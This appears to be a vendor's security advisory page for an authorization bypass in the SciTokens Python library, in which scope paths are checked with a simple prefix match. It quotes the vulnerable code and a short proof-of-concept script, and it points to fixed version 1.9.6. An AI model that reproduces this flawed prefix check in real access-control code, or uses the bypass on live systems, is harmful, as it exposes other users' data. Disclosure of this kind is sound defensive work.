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GHSA-w8fp-g9rh-34jh

HIGH

SciTokens has an Authorization Bypass via Incorrect Scope Path Prefix Checking

Also known asCVE-2026-32716
Published
Mar 31, 2026
Updated
Mar 31, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk31th percentile+0.38%
0.00%0.30%0.59%0.89%0.0%0.0%0.0%0.4%Apr 26Jun 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected
🐍scitokens

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The Enforcer incorrectly validates scope paths by using a simple prefix match (startswith). This allows a token with access to a specific path (e.g., /john) to also access sibling paths that start with the same prefix (e.g., /johnathan, /johnny), which is an Authorization Bypass.

Details

File: src/scitokens/scitokens.py
Methods: _validate_scp and _validate_scope

Vulnerable Code Snippets:

In _validate_scp (around line 696):

    for scope in value:
        authz, norm_path = self._check_scope(scope)
        if (self._test_authz == authz) and norm_requested_path.startswith(norm_path):
            return True

In _validate_scope (around line 722):

    for scope in value.split(" "):
        authz, norm_path = self._check_scope(scope)
        if (self._test_authz == authz) and norm_requested_path.startswith(norm_path):
            return True

If norm_path (authorized) is /john and norm_requested_path (requested) is /johnathan, startswith returns True, incorrectly granting access.

PoC


import scitokens
import sys

def poc_scope_bypass():
    """
    Demonstrate an Authorization Bypass vulnerability in scope path checking.
    """
    print("--- PoC: Incorrect Scope Path Checking (Authorization Bypass) ---")
    
    issuer = "https://scitokens.org/unittest"
    enforcer = scitokens.Enforcer(issuer)
    
    # Create a token with access to /john
    token = scitokens.SciToken()
    token['iss'] = issuer
    token['scope'] = "read:/john"
    
    print(f"Authorized path in scope: /john")
    
    # 1. Test access to /john/file (should be allowed)
    print(f"[1] Testing legitimate subpath: /john/file")
    if enforcer.test(token, 'read', '/john/file'):
        print("    -> Access GRANTED (Correct behavior)")
    else:
        print("    -> Access DENIED (Incorrect behavior - should have access to subpaths)")

    # 2. Test access to /johnathan (SHOULD BE DENIED)
    print(f"[2] Testing illegitimate sibling path: /johnathan")
    if enforcer.test(token, 'read', '/johnathan'):
        print("    -> [VULNERABILITY] Access GRANTED! This is an authorization bypass.")
    else:
        print("    -> Access DENIED (Correct behavior - fix is working)")

    # 3. Test access to /johnny (SHOULD BE DENIED)
    print(f"[3] Testing illegitimate sibling path: /johnny")
    if enforcer.test(token, 'read', '/johnny'):
        print("    -> [VULNERABILITY] Access GRANTED! This is an authorization bypass.")
    else:
        print("    -> Access DENIED (Correct behavior - fix is working)")

if __name__ == "__main__":
    # Ensure scitokens from src/ is available
    sys.path.insert(0, "src")
    poc_scope_bypass()

Impact

This bug allows a user to access resources they are not authorized for. For example, if a system uses usernames as top-level directories in a shared storage, a user john might be able to read or write to the directory of user johnathan simply because their names share a prefix.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIscitokensall versions1.9.6

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for scitokens. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update scitokens to 1.9.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-w8fp-g9rh-34jh is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-w8fp-g9rh-34jh is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-w8fp-g9rh-34jh. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary The `Enforcer` incorrectly validates scope paths by using a simple prefix match (`startswith`). This allows a token with access to a specific path (e.g., `/john`) to also access sibling paths that start with the same prefix (e.g., `/johnathan`, `/johnny`), which is an **Authorization Bypass**. ### Details **File:** `src/scitokens/scitokens.py` **Methods:** `_validate_scp` and `_validate_scope` ### Vulnerable Code Snippets: **In `_validate_scp` (around line 696):** ```python for scope in value: authz, norm_path = self._check_scope(scope) if (self._test_authz
O3 Security · Impact-Aware SCA

Is GHSA-w8fp-g9rh-34jh in your dependencies?

O3 detects GHSA-w8fp-g9rh-34jh across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.